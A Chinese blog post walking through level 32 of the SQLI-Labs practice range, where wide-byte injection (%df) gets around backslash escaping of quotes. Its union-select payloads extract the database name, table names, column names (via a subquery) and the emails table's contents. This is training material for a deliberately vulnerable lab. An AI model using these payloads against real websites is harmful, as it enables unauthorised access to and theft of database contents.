SQL注入漏洞SQL-Libs靶场

SQLI-LIBS

首先进入32关:

我们尝试测试一下注入点,输入语句:

?id=1\

页面回显:

可以看到我们输入的语句被变成了 ?id=1\\ 说明我们输入的反斜杠被后台注释掉了。我们输入单引号测试一下:

?id=1'

页面回显:

可以看到我们输入的语句被后台变成了 ?id=1\' 我们输入的单引号同样被后台注释掉了,这里我就不测试其他注入点了,因为这一关的注入点就是单引号。那么说明以前的注入方法在这里都行不通了,需要一种新的方法。这里我介绍一下宽字节注入的方法去绕过后台对注入点的注释。

爆破数据库名

我们输入语句测试注入点:

?id=1%df\

页面回显:

通过页面回显我们可以看出注入点为单引号。接下来我们输入语句去测试显示位:

?id=0%df' union select 1,2,3 --+

页面回显:

可以看到我们成功得到了页面的显示位,之后使用联合注入就可以了。

输入语句:

?id=0%df' union select 1,database(),3 --+

页面回显:

可以看到成功爆破了数据库名字。

爆破表名

输入语句:

?id=0%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

页面回显:

成功爆破了表名。

爆破列名

爆破列名的时候要注意不能按照以前的方法爆破列名了,假设我们输入语句:?id=1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+

但是由于对单引号的过滤,真正传给后台执行的语句会变成:?id=1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\'emails\' --+

可以看到我们表名的单引号也会被过滤,我们可以输入语句看一下页面回显:

可以看到确实被过滤了,这里不能使用添加特殊字符绕过的方法。

使用子查询绕过。

输入语句

?id=0%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) --+

这种方法就是把原本输入表名的地方在写一个查询语句,也就是 table_name=查询语句查询的结果。其中查询语句使用 limit 语句限制输出的表名就可以了。

页面回显:

可以看到成功爆破了表 emails 的列名。

爆破字段值

输入语句:

?id=0%df' union select 1,group_concat(id,email_id),3 from emails --+

页面回显:

可以看到成功爆破了表 emails 的字段值。

posted @ 2025-07-16 12:40  长温不喜风云  阅读(38)  评论(0)    收藏  举报